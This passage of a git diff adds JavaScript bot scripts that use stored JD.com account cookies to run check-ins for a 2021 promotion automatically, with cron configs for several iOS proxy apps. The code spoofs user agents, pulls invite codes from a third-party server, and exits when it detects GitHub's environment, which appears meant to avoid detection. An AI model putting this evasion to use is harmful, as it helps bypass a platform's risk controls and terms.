`https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_nian_sign.js b/activity/jd_nian_sign.js new file mode 100644 index 0000000..eaf9c50 --- /dev/null +++ b/activity/jd_nian_sign.js @@ -0,0 +1,506 @@ +/* +京东炸年兽签到任务🧨 +活动时间:2021-1-18至2021-2-11 +暂不加入品牌会员 +地址:https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html +活动入口:京东app左侧浮动窗口 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东炸年兽签到任务🧨 +30 8 * * * jd_nian_sign.js, tag=京东炸年兽签到任务🧨, enabled=true + +================Loon============== +[Script] +cron "30 8 * * *" script-path=jd_nian_sign.js,tag=京东炸年兽签到任务🧨 + +===============Surge================= +京东炸年兽签到任务🧨 = type=cron,cronexp="30 8 * * *",wake-system=1,timeout=3600,script-path=jd_nian_sign.js + +============小火箭========= +京东炸年兽签到任务🧨 = type=cron,script-path=jd_nian_sign.js, cronexpr="30 8 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东炸年兽签到任务🧨'); + +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdNian() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdNian() { + try { + await getHomeData() + if(!$.secretp) return + await queryMaterials2() + await $.wait(2000) + await getHomeData(true) + await showMsg() + } catch (e) { + $.logErr(e) + } +} +function encode(data, aa, extraData) { + const temp = { + "extraData": JSON.stringify(extraData), + "businessData": JSON.stringify(data), + "secretp": aa, + } + return { "ss": (JSON.stringify(temp)) }; +} +function getRnd() { + return Math.floor(1e6 * Math.random()).toString(); +} +function showMsg() { + return new Promise(resolve => { + console.log('任务已做完!\n如有未完成的任务,请多执行几次。注:目前入会任务不会做') + console.log('如出现taskVos错误的,请更新USER_AGENTS.js或使用自定义UA功能') + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + if (new Date().getHours() === 23) { + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + + +function getHomeData(info=false) { + return new Promise((resolve) => { + $.post(taskPostUrl('nian_getHomeData'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data && data.data['bizCode'] === 0) { + $.userInfo = data.data.result.homeMainInfo + $.secretp = $.userInfo.secretp; + if(!$.secretp){ + console.log(`账号被风控`) + message += `账号被风控,无法参与活动\n` + $.secretp = null + return + } + console.log(`当前爆竹${$.userInfo.raiseInfo.remainScore}🧨,下一关需要${$.userInfo.raiseInfo.nextLevelScore - $.userInfo.raiseInfo.curLevelStartScore}🧨`) + } + else{ + $.secretp = null + console.log(`账号被风控,无法参与活动`) + message += `账号被风控,无法参与活动\n` + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function queryMaterials2() { + let body ={"qryParam":"[{\"type\":\"advertGroup\",\"mapTo\":\"homeFeedBannerT\",\"id\":\"05143017\"},{\"type\":\"advertGroup\",\"mapTo\":\"homeFeedBannerS\",\"id\":\"05144045\"},{\"type\":\"advertGroup\",\"mapTo\":\"homeFeedBannerA\",\"id\":\"05144046\"},{\"type\":\"advertGroup\",\"mapTo\":\"homeFeedBannerB\",\"id\":\"05144047\"},{\"type\":\"advertGroup\",\"mapTo\":\"domainShopData\",\"id\":\"05139136\"},{\"type\":\"advertGroup\",\"mapTo\":\"domainShopData2\",\"id\":\"05144271\"},{\"type\":\"advertGroup\",\"mapTo\":\"domainShopToT\",\"id\":\"05152048\"}]","activityId":"2cKMj86srRdhgWcKonfExzK4ZMBy","pageId":"","reqSrc":"","applyKey":"21beast"} + return new Promise(resolve => { + $.post(taskPostUrl("qryCompositeMaterials", body, "qryCompositeMaterials"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code==='0') { + let shopList = data.data.domainShopData2.list + let nameList = [] + $.canSign = true + for(let vo of shopList){ + if(nameList.includes(vo.name)) continue + nameList.push(vo.name) + console.log(`去做${vo.name}店铺任务`) + await signInRead(vo.link) + if(!$.canSign) break + await $.wait(2000) + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function signInRead(shopSign) { + let body = {"shopSign":shopSign} + return new Promise(resolve => { + $.post(taskPostUrl("nian_shopSignInRead", body, "nian_shopSignInRead"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code===0 && data.data && data.data.result && !data.data.result.signInTag) { + console.log(`店铺未签到,去签到`) + await signInWrite(shopSign) + } else{ + console.log(`店铺已签到过`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function signInWrite(shopSign) { + let temp = { + "shopSign": shopSign, + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + shopSign:shopSign + } + return new Promise(resolve => { + $.post(taskPostUrl("nian_shopSignInWrite", body, "nian_shopSignInWrite"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + if(data.data.result.score) + console.log(`签到成功,获得${data.data.result.score}爆竹🧨`) + else + console.log(`签到成功,获得空气`) + } + else{ + $.canSign = false + console.log(data.data.bizMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function pkInfo() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_getHomeData", {}, "nian_pk_getHomeData"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pkCollectScore() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_collectScore", {}, "nian_pk_collectScore"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pkTaskDetail() { + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_getTaskDetail", {}, "nian_pk_getTaskDetail"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function pkAssignGroup(inviteId) { + let temp = { + "confirmFlag": 1, + "inviteId": inviteId, + } + const extraData = { + "jj": 6, + "buttonid": "jmdd-react-smash_0", + "sceneid": "homePageh5", + "appid": '50073' + } + let body = { + ...encode(temp, $.secretp, extraData), + inviteId:inviteId + } + return new Promise(resolve => { + $.post(taskPostUrl("nian_pk_assistGroup", body, "nian_pk_assistGroup"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `https://code.chiang.fun/api/v1/jd/jdnian/read/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(2000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + //Node.js用户请在jdCookie.js处填写京东ck; + let shareCodes = [] + console.log(`共${cookiesArr.length}个京东账号\n`); + if ($.isNode() && process.env.JDNIAN_SHARECODES) { + if (process.env.JDNIAN_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JDNIAN_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JDNIAN_SHARECODES.split('&'); + } + } + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} + +function taskPostUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const 